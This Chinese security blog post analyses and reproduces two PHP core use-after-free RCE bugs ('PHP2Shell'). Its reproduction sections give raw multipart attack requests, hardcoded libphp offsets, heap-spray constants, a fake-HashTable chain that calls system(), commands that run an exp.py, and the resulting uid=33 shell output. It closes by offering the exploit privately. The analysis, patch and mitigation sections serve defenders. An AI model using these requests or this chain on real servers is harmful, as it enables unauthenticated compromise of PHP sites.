全网都在等的PHP2Shell远程命令执行漏洞复现,漏洞通用,POC不通用!!!"

admin 2026-10-24 15:28:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

全网都在等的PHP2Shell 远程命令执行漏洞复现,漏洞通用,POC不通用! ! !

原创

网络安全透视镜
网络安全透视镜

网络安全透视镜

2026年10月22日 00:27
江苏

去阅读

\"

漏洞通用,RCE 载荷不通用——没有一个 HTTP 包能打所有未修复的 PHP。

—— PHP2Shell 漏洞分析报告

PHP2Shell 是 2026-10-21 紧急披露的两个 PHP 内核远程代码执行漏洞,CVSS v4.0 均为 9.2,不需要任何凭据。本报告在 PHP 8.4.26 + Apache prefork 单 worker 上已真实打出代码执行,并给出了一条可以直接给审阅者用的判断结论。

本文看点

01

两个 CVE 同源,一口一个 bug

02

为什么没有通用 PoC

03

真实打出 uid=33 的完整链路

CVE-2026-109618 / CVE-2026-109619

文档性质

实验室漏洞分析与定点复现记录

编写日期

2026-10-22

分析对象

php-src 内核(session + multipart + Zend MM)

本地结论

补丁存在;在 PHP 8.4.26 NTS + Apache 2.4.68 prefork 单 worker 上 已打出 RCE(uid=33(www-data))

关键结论

漏洞通用,RCE exploit 不通用。 不存在「一个 HTTP 包打所有未修复 PHP」的 PoC。

01

CHAPTER

漏洞概述

PHP2Shell 是 2026-10-21 紧急披露的两个 PHP 内核远程代码执行漏洞,CVSS v4.0 均为 9.2(AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)。CWE 以 CWE-416 Use After Free 为主,并涉及异常路径处理(CWE-755)、未初始化指针(CWE-824)。

两个 CVE 是同一类「bailout 后状态损坏」问题的两面:

CVE-2026-109618 — OOM 时 longjmp 撕开半初始化状态

PHP 用 memory\_limit 限制单请求内存。触顶时走:

zend\_mm\_safe\_error()

→ zend\_error\_noreturn(E\_ERROR, \"Allowed memory size of %zu bytes exhausted...\")

→ zend\_bailout() // 实质是 longjmp

longjmp 从任意 C 栈帧直接跳回请求顶层,中间所有尚未跑完的构造函数、链表挂接、全局赋值都被跳过。若此时请求内存(executor globals、session 模块全局、multipart 解析器)只初始化了一半,随后 php\_request\_shutdown() 仍按「这是一次完整请求」去遍历、释放这些指针。

官方说明最高危 SAPI 是 Apache mod\_php:startup 失败也照样 shutdown,且发生在任何应用代码之前。

补丁前关键代码(php-8.4.26 Zend/zend\_alloc.c):

...c

static ZEND\_COLD ZEND\_NORETURN void zend\_mm\_safe\_error(...)

{

heap->overflow = 1;

zend\_try {

zend\_error\_noreturn(E\_ERROR, format, limit, size);

} zend\_catch {

} zend\_end\_try();

heap->overflow = 0;

zend\_bailout(); /\ ← 漏洞核心 \/

exit(1);

}

CVE-2026-109619 — 跨请求残留的进程级全局

php-fpm / mod\_php worker 是长驻进程。一次请求可以把「属于本请求堆」的对象挂到进程全局:

、(session 模块)

PS(id)

PS(http\_session\_vars)

错误对象 / 8.5 的 fatal backtrace

扩展残留

请求以 OOM/longjmp/fatal 结束时如果没把这些全局清成 UNDEF/NULL,下一个 HTTP 请求会把悬空指针当活对象:zval\_ptr\_dtor(PS(http\_session\_vars)) → UAF。

已确认、且不需要应用配合的生产者/消费者:

session.upload\_progress(PHP 5.4 起默认 On)。 multipart 解析回调运行在 RINIT 之前:

FILE\_START → php\_session\_rfc1867\_update() → php\_session\_initialize()

END → php\_session\_rfc1867\_cleanup() → php\_session\_initialize()

→ php\_session\_track\_init()

→ zval\_ptr\_dtor(PS(http\_session\_vars)) // 消费上一请求残留

目标页面可以是 <?php echo \"OK\"; ?>,不必调用 session\_start()。

两者如何拼成 RCE

请求 A(producer)

multipart 带 PHP\_SESSION\_UPLOAD\_PROGRESS

→ 在 php\_session\_initialize() 内 OOM

→ longjmp,PS(http\_session\_vars)/PS(id) 未清空

请求 B(consumer,必须打到同一个 worker)

再次走 upload\_progress

→ zval\_ptr\_dtor(悬空指针)

→ 用 multipart 字段的 zend\_string 重占刚释放的块

→ 伪造 HashTable.pDestructor = zif\_system

→ system(\"id>/out/p1\")

流量全是普通 multipart/form-data POST,没有自定义协议,也没有「把 PHP 源码 POST 上去就会执行」这种错误模型。

02

CHAPTER

影响范围

分支 受影响 官方修复包
8.5 <; 8.5.12 8.5.12
8.4 <; 8.4.27 8.4.27
8.3 <; 8.3.36 8.3.36
8.2 <; 8.2.35 8.2.35
8.1 / 8.0 / 7.x / 5.4+ 受影响(upload\_progress 自 5.4 默认开启) 无官方发行版,仅有源码 backport

SAPI:

\\mod\_php + Apache prefork\\:官方确认未认证 RCE,本实验室已复现。

\\PHP-FPM\\:源码面可利用(session 路径);官方未给出完整 FPM exploit。FPM 在 startup 失败时会杀掉 child,618 的「startup 失败仍 shutdown」这条在 FPM 上不成立,619 仍可能。

FrankenPHP / LSAPI:模型类似。

应用层(WordPress、Laravel、Drupal 等)只要解释器未打补丁即在范围内,与业务代码是否使用 session 无关。

03

CHAPTER

利用条件

分两层看:触发 UAF 的条件相对宽;把 UAF 打成稳定 RCE 的条件极窄。

触发层(相对通用)

1

PHP 未升级到上述修复版本。

2

session.upload\_progress.enabled=On(默认;必须在 php.ini / php\_admin\_value 关,ini\_set() 来不及)。

3

memory\_limit 为有限值(默认 128M 也可,实验室为了稳定打 OOM 收到 8M)。

4

post\_max\_size 大于用于打 OOM 的字段(否则进不了 rfc1867)。

5

攻击者可对任意 .php 发 HTTP POST。

6

两次请求打到同一个 worker(prefork 单 worker 时为 100%;多 worker 只是降概率)。

满足以上即可观察到:

Fatal error: Allowed memory size ... exhausted in Unknown on line 0

下一请求 session 状态异常(非法 PHPSESSID、读 session 失败)

或 / worker

zend\_mm\_heap corrupted

SIGABRT

这已经证明漏洞存在,但还不是 RCE。

RCE 层(本实验室打通时的全部约束)

条件 本实验室取值 若不满足
精确构建 php:8.4.26-apache-bookworm 堆喷尺寸全部作废
SAPI mod\_php + mpm\_prefork FPM 要另写一条链
Worker 数 1 无法稳定 A→B 同进程
display\_errors On 当前公开链的 Set-Cookie 泄漏依赖 headers\_sent
max\_input\_vars 1000(默认) 超限 warning 的时机变了
memory\_limit 8M OOM 点漂移,对象落点变
session.use\_strict\_mode Off \x00 PHPSESSID 无法迫使换 id
libphp.so 偏移 zif\_system=0x45a3b0 等 stage3 调到错误函数
堆常数 HTDATA=+0x690d8,filler=841… 重占失败,只会崩
用户态指针区间 本机内核映射在 0x79… 泄漏解析器会当「没漏到」

命令嵌入 167 字节 zend\_string,有效命令 ≤ 14 字节。

04

CHAPTER

为什么该漏洞没有通用 PoC

这是本报告要单独说清楚的一点:CVE 编号是通用的,RCE 载荷不是。

「通用 PoC」在这里如果指「任意未打补丁 PHP,发固定 HTTP 包就能 system()」,则不存在。原因不是信息披露不全,而是利用原语本身决定的。

这是堆 UAF,不是「参数进了 system()」

对比典型 PHP 应用 RCE(反序列化 gadget、文件上传、eval($\_GET)):

应用层 RCE PHP2Shell RCE
稳定原语 字符串/对象图,语义确定 悬空指针 + 堆块尺寸
载荷 逻辑 payload,跨版本常还能用 fake HashTable 二进制,对 Zend MM bin 敏感
ASLR 通常不需要 必须先泄 chunk 基址和 libphp 基址
目标代码 某条业务逻辑 libphp.so 里 zif\_system 的文件偏移

UAF 能转 RCE 的前提是:攻击者知道「释放块的尺寸、下一次分配会落到哪、伪造对象里每个字段的偏移」。这些对 PHP 小版本、编译选项、发行版、Apache/PHP 谁先分配堆 全部敏感。

本机对照实验:同一条公开 exp,换一层构建就失败

实验室用的是同一套 9bie/php2shell-bypass-aslr-exp 源码:

1

Hub 默认 php:8.4.26-apache(Debian 13 Trixie,Apache 2.4.69)

stage1 HEAP\_LEAK\_FAILED(5/5)

2

php:8.4.26-apache-bookworm(Debian 12,Apache 2.4.68)

cookie 已泄漏,但脚本只认 0x7f… 指针,仍判失败

3

同上,只把指针窗口放到 0x55…–0x80…(本机内核 6.8 堆在 0x79…)

第一次即 RCE

注意:1 和 2 的 PHP 都是 8.4.26。只换了 Debian 小版本 / Apache 小版本,libphp.so 里:

Trixie: zif\_system=0x465370 zval\_ptr\_dtor=0x65eb60

Bookworm: zif\_system=0x45a3b0 zval\_ptr\_dtor=0x64eb60

堆喷个数(841 / 406 / +0x690d8)是按 bookworm 镜像标定的,拿到 Trixie 上全部对不齐。 同一 PHP 版本号都做不到通用,更不可能覆盖 5.4~8.5。

必须按目标现场 leak 的量

完整链至少要在这个 worker 的这次地址空间里得到:

1

Zend MM chunk 基址(2MiB 对齐)。来源:伪造超长 zend\_string,让 php\_url\_encode(PS(id)) 越界读,从 Set-Cookie: PHPSESSID= 里捞指针。本机一次泄漏 4096 字节 cookie、98 次命中 0x79cdb5400000。

2

libphp.so 基址。来源:把 pDestructor 读成 zval\_ptr\_dtor,减去该构建的文件偏移。

3

若干相对 chunk 的常量(HTDATA、R0、pad 尺寸)。这些不能从泄漏里直接算出来,只能对「这一个 ELF + 这一套 INI」预先标定。

少任何一项,stage3 的 fake HashTable 就会指到随机内存:表现是 worker 崩溃(看起来像 DoS),而不是 system()。

这也是为什么分析过程必须看堆、看偏移——不是「研究怎么打得更花」,而是 RCE 载荷把布局写死了。

SAPI / INI / MPM 会改掉对象生命周期

即使二进制相同:

\\多 worker\\:A 的悬空指针在 worker-3,B 打到 worker-7,消费的是干净状态。只能靠大量请求碰概率,不能当稳定 PoC。

\\FPM\\:startup 失败直接 child,618 的「半初始化 shutdown」路径被剪掉;419 的 session 路径还在,但堆与 Apache prefork 完全不同,bookworm 常数作废。

\_exit

\\\\:当前链靠 超限 warning 置 ,才能在 OOM 之后仍通过 把堆指针带出来。关掉就没了这条泄漏。公开仓库自己也写了「 的完整 RCE 稍后提交」。

display\_errors=Off

max\_input\_vars

headers\_sent=1

Set-Cookie

display\_errors=0

\\ 不是 8M\\:OOM 发生的分配点变了,session 对象和后续 zend\_string 落在不同 bin。

memory\_limit

\\\\: 无法迫使 ,泄漏阶段缺 cookie。

session.use\_strict\_mode=On

PHPSESSID=\x00

send\_cookie=1

这些都是默认或常见生产配置,所以「默认 PHP」四个字并不能推出「默认能 RCE」。

能通用的只有「验洞触发包」,不是 RCE

可以相对通用的是 A+B 两包(见第 6.3 节):

任意未修复 PHP + 默认 upload\_progress + 有限

memory\_limit

效果:OOM fatal、跨请求 session 异常、可能打崩 worker

\\效果不是命令执行\\

把「能打崩 / 能脏状态」写成「通用 RCE PoC」是错误的。本仓库因此拆成两份:

:通用触发(无命令执行)

lab/trigger\_upload\_progress\_oom.py

:\\仅\\ 的 RCE

lab/php-8.4.26-apache-bookworm/exp.py

php:8.4.26-apache-bookworm

小结

「PHP2Shell 的漏洞面是内核级、默认配置即可触发的 UAF;把它变成稳定 RCE 需要「同 worker + 预先标定的堆喷尺寸 + 该次构建的 libphp.so 符号偏移 + 一次成功的 Cookie 泄漏」。 因此:不存在跨版本、跨发行版、跨 SAPI 的通用 RCE PoC;只存在「某一精确构建上的定点 exploit」和「跨版本的崩溃/状态损坏触发包」。」

05

CHAPTER

定点复现环境

以下环境已两次独立打出 uid=33(www-data)。

宿主机与靶场

宿主机

Ubuntu 24.04.4 LTS,内核 6.8.0,Docker 29.2.1

镜像

php:8.4.26-apache-bookworm

Image ID

sha256:df868eae5dacd34acf4722610c7275b43e4648d7710dd1c5e7dafd0b498d59d1

容器 OS

Debian GNU/Linux 12.15 (bookworm)

PHP

8.4.26 NTS,Zend Engine 4.4.26,mod\_php

Apache

2.4.68,mpm\_prefork,MaxRequestWorkers=1,KeepAlive Off

libphp.so

21172088 B,sha256 ff3ea77fb119541f6d10ddf0fa7e9e3fd6a3043e049a536b530dbbec35db68d6

监听

127.0.0.1:8088

目标页

<?php echo \"OK\ \"; ?>

(无 session\_start())

HTTP 指纹(exp 启动时会校验,不对则拒绝):

Server: Apache/2.4.68 (Debian)

X-Powered-By: PHP/8.4.26

PHP / Apache 配置

php.ini:

...ini

display\_errors = On

display\_startup\_errors = On

error\_reporting = E\_ALL

memory\_limit = 8M

post\_max\_size = 64M

upload\_max\_filesize = 64M

max\_input\_vars = 1000

session.save\_path = \"/tmp\"

session.use\_strict\_mode = 0

session.use\_cookies = 1

session.upload\_progress.enabled = On

session.upload\_progress.cleanup = On

Apache MPM:

...apache

KeepAlive Off

StartServers 1

MinSpareServers 1

MaxSpareServers 1

MaxRequestWorkers 1

ServerLimit 1

MaxConnectionsPerChild 0

启动靶场

官方 php:8.4.26-apache 当前默认是 Trixie,堆布局与本 exp 不一致。必须显式用 bookworm 标签:

bash

仓库内已有 docker-compose(9bie 靶场配置)

cd /path/to/php2shell-bypass-aslr-exp

docker pull php:8.4.26-apache-bookworm

docker tag php:8.4.26-apache-bookworm php:8.4.26-apache

docker compose -f docker/docker-compose.yml up -d

curl -sI http://127.0.0.1:8088/index.php

Server: Apache/2.4.68 (Debian)

X-Powered-By: PHP/8.4.26

curl -s http://127.0.0.1:8088/index.php

OK

本实验室对应容器名:php2shell-target。./out 挂到容器 /out,RCE 默认把 id 写到 /out/p1。

06

CHAPTER

复现步骤

一键 RCE(推荐,完整代码)

完整利用代码(已按第 5 节构建写死偏移,启动时校验指纹):

/home/iot/opt/test/phprce/lab/php-8.4.26-apache-bookworm/exp.py

bash

python3 /home/iot/opt/test/phprce/lab/php-8.4.26-apache-bookworm/exp.py \

-u http://127.0.0.1:8088/index.php

本机两次运行均在 stage3 第 1 次尝试成功:

[\*] fingerprint Server='Apache/2.4.68 (Debian)' X-Powered-By='PHP/8.4.26'

[\*] hardcoded offsets: zif=0x45a3b0 dtor=0x64eb60 htdata=0x690d8

[+] chunk base = 0x79cdb5400000

[+] libphp base = 0x79cdb56f9000

[\*] stage 3: HTDATA=0x79cdb54690d8 ZIF=0x79cdb5b533b0

[+] W3 attempt 1

PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

proof 文件(容器内 /out/p1):

uid=33(www-data) gid=33(www-data) groups=33(www-data)

站点随后仍返回 OK。Apache 日志会出现 zend\_mm\_heap corrupted 和 child SIGABRT/SIGSEGV——这是 UAF 被打成 zif\_system 时的副作用,不是「只打崩了服务」。prefork 会拉起新 worker。

写死的常数(相对 ASLR,不随 slide 变):

zif\_system 0x45a3b0

zval\_ptr\_dtor 0x64eb60

HTDATA chunk + 0x690d8

stage1 filler 841 × 48 字节

stage2 目标数组下标 406,元素值 16 字节

stage3 pad 6 × (name 31, value 31)

stage3 carrier 15 字节覆盖 reference.val

命令上限 14 字节(更长用 sh</out/c)

exp 会拒绝非 8.4.26 / 非 Apache 2.4.68 的目标。确认是这一版再加 --force。

利用链对应的 HTTP 形态

全部请求都是 POST /index.php,Content-Type: multipart/form-data。下面给出可独立复现的 Raw;12MiB 的 OOM 字段在文本里截断,生成方式见 6.3 的 Python。

作用:RINIT 之前 php\_session\_initialize(),再用超大字段打到 memory\_limit,longjmp 留下悬空 PS(\*)。

实测响应:

HTTP/1.1 200 OK

X-Powered-By: PHP/8.4.26

Fatal error: Allowed memory size of 8388608 bytes exhausted

(tried to allocate 2098791 bytes) in Unknown on line 0

in Unknown on line 0 = 用户脚本还没开始。

...http

POST /index.php HTTP/1.1

Host: 127.0.0.1:8088

Content-Type: multipart/form-data; boundary=----SUPABOUNDARY7

Content-Length: 12583383

Connection: close

------SUPABOUNDARY7

Content-Disposition: form-data; name=\"PHPSESSID\"

attacksessionid0001

------SUPABOUNDARY7

Content-Disposition: form-data; name=\"PHP\_SESSION\_UPLOAD\_PROGRESS\"

pwn

------SUPABOUNDARY7

Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"

Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

------SUPABOUNDARY7

Content-Disposition: form-data; name=\"big\"

BBBBBBBB...(12MiB 字节 0x42,必须让解析中的占用 > memory\_limit)

------SUPABOUNDARY7--

作用:同一 worker 上再次进入 upload\_progress;无文件 part 时走 MULTIPART\_EVENT\_END → php\_session\_rfc1867\_cleanup() → zval\_ptr\_dtor(残留指针)。

单独打 A+B(不做堆喷)时,B 已能看到跨请求残留:

Warning: PHP Request Startup: Session ID is too long or contains illegal characters...

Warning: PHP Request Startup: Failed to read session data: files (path: /tmp)

...http

POST /index.php HTTP/1.1

Host: 127.0.0.1:8088

Content-Type: multipart/form-data; boundary=BNDRY12345

Content-Length: 192

Connection: close

--BNDRY12345

Content-Disposition: form-data; name=\"PHPSESSID\"

attacksessionid0001

--BNDRY12345

Content-Disposition: form-data; name=\"PHP\_SESSION\_UPLOAD\_PROGRESS\"

pwn

--BNDRY12345--

这两包就是「相对通用的验洞 PoC」。它们证明 UAF/状态残留,不会执行命令。

A 在 6.2.1 基础上改为:

1001 个 、值为 (触发 , → )

name=p0000..p1000

x

max\_input\_vars

display\_errors=On

headers\_sent=1

值为单个 (迫使新 id 且 )

PHPSESSID

\x00

send\_cookie=1

同样的文件 part + 12MiB

big

B 在 6.2.2 基础上追加 841 个 48 字节字段,再跟 79 字节伪造块(ZSTR\_LEN=0x1000)。响应中:

Set-Cookie: PHPSESSID=LAAAAA...%xx%xx... (url-decode 后 4096 字节)

本机从中解析出 chunk base = 0x79cdb5400000。

A:progress + 6 组 31/31 pad + 文件 + 12MiB,并带 Cookie: PHPSESSID=aaa...a(32 个 a),避免 Set-Cookie 覆盖伪造 reference 的 val.type。

B:progress + 15 字节 carrier(改写悬空 reference 的 val.value 低 7 字节)+ 15 个携带 fake HashTable 的 167 字节字段。

触发:

php\_session\_track\_init()

zval\_ptr\_dtor(PS(http\_session\_vars))

zend\_reference\_destroy(R0)

zend\_array\_destroy(fake HT)

zend\_hash\_destroy(fake HT)

pDestructor(&bucket->val) // = zif\_system

system(\"id>/out/p1\")

fake HashTable 的二进制随 chunk/libphp 基址变化,不能写成与泄漏无关的固定 Raw 包。完整构造见 exp.py 的 \_fake\_payload() / stage3()。把 stage3 body 当「通用 HTTP exp」发布,换一台机器就会变成纯崩溃。

仅验证漏洞(无 RCE)的完整代码

bash

python3 -I /home/iot/opt/test/phprce/lab/trigger\_upload\_progress\_oom.py \

127.0.0.1 8088 /index.php

脚本生成 6.2.1 / 6.2.2 两包并打印响应。成功标志是 A 出现 Unknown on line 0 的 memory exhausted,B 出现 session 警告或 worker 异常,而不是 PROOF: uid=...。

07

CHAPTER

补丁情况与补丁前后差别

官方补丁已发布(2026-10-21,embargo 从 10-22 提前)。

发行版:8.5.12、8.4.27、8.3.36、8.2.35

NEWS:\Fixed GHSA-w8hw-w9fx-j79w, GHSA-6wmf-4rv5-p3rp (Avoid state corruption via bailout). (CVE-2026-109618, CVE-2026-109619)\

提交:

31c0ea7d7ff1d1fccb6492e52dab544011628065

本报告对比了官方 tarball \\php-8.4.26 vs php-8.4.27\\(完整 diff 在 )

report/evidence/

618:禁止 OOM longjmp

zend\_mm\_safe\_error() → zend\_bailout()

函数删除

任意 C 帧跳回请求顶层

软 OOM:写入 EG(delayed\_oom),置 vm\_interrupt,到 VM 安全点再 zend\_throw\_unwind\_exit()

shutdown 看到半初始化状态

硬 OOM:新 INI memory\_hard\_limit\_percent,超限 \_exit(137),进程直接死,shutdown 看不到坏状态

619:session 全局必须先复位

ext/session/session.c:

\\立刻\\ ,切断上一请求的 /

MULTIPART\_EVENT\_START

php\_rinit\_session\_globals()

PS(id)

PS(http\_session\_vars)

检查 返回值,失败即退

php\_session\_rfc1867\_update/cleanup

php\_session\_initialize()

:解析阶段反序列化只生成

PS(in\_rfc1867\_update)

\_\_PHP\_Incomplete\_Class

之后不再跑这条回调

PG(modules\_activated)

main/rfc1867.c:

每个 part 只保留 Content-Disposition / Content-Type,去掉「海量自定义头放大内存」

解析循环检测 并有序释放

ZEND\_HAS\_OOM()

读 body 再次强制

post\_max\_size

升级后必须重启全部 worker / 容器。发行版 backport 可能版本号不变,以 changelog 是否出现两个 GHSA 为准。

截至本报告编写时,Docker Hub 尚无 php:8.4.27-apache 标签(源码 tarball 已发布)。

08

CHAPTER

修复建议

1

唯一完整修复:升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 或厂商 backport,然后重启所有 PHP 进程。

2

无法立即升级时的不完整缓解(需 php\_admin\_value,重启生效):

(挡已展示的 session 链,不是全部 619)

session.upload\_progress.enabled=0

(去掉可预测 cap,缓解已确认的 618;底层 失败仍可能 bailout)

memory\_limit=-1

mmap

调小 ;反代限制 body

post\_max\_size

不用上传的应用,反代直接丢弃

multipart/form-data

FPM: 缩小跨请求窗口

pm.max\_requests=1

PHP 8.5:

fatal\_error\_backtraces=0

1

不要设 RLIMIT\_AS / RLIMIT\_DATA:它们让 mmap 失败,正好走进脆弱 longjmp。

2

应急排查:zend\_mm\_heap corrupted、exhausted in Unknown on line 0、异常超长 Set-Cookie: PHPSESSID=、对任意 PHP 的超大 multipart + PHP\_SESSION\_UPLOAD\_PROGRESS。按失陷处理:轮换密钥、查 webshell。

09

CHAPTER

参考

https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w

https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp

https://www.php.net/ChangeLog-8.php

https://github.com/php/php-src/commit/31c0ea7d7f

公开定点利用(实验室参考):https://github.com/9bie/php2shell-bypass-aslr-exp

https://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/

END

对应的exp,关注微信公众号,私信 php2shell 获取

我是网络安全透视镜。

如果你觉得今天这篇有收获,欢迎点赞、在看、转发三连,我们下篇见。

全网都在等的PHP2Shell远程命令执行漏洞复现,漏洞通用,POC不通用!!!" 网络安全文章

全网都在等的PHP2Shell远程命令执行漏洞复现,漏洞通用,POC不通用!!!"

本文分析PHP2Shell漏洞(CVE-2026-109618与CVE-2026-109619),两个PHP内核远程代码执行漏洞,CVSSv4.0均为9.2,无需凭据。漏洞源于bailout后状态损坏,涉及UAF、异常路径处理及未初始化指针。影响PHP8.1至8.5等多个版本,官方已发布修复包。利用条件分触发层与RCE层,RCE载荷对构建环境高度敏感,不存在通用PoC。建议立即升级至修复版本并关注官方安全公告。
【已复现可RCE】PHP远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告" 网络安全文章

【已复现可RCE】PHP远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告"

奇安信CERT通告PHP存在两个高危远程代码执行漏洞CVE-2026-109618与CVE-2026-109619,影响千万级网站,无需认证即可利用,PoC已公开。漏洞源于请求生命周期状态管理缺陷,可致UAF、内存泄露及远程代码执行。建议立即升级至PHP8.2.35、8.3.36、8.4.27或8.5.12及以上版本,并重启服务或重建容器镜像。
评论:0   参与:  0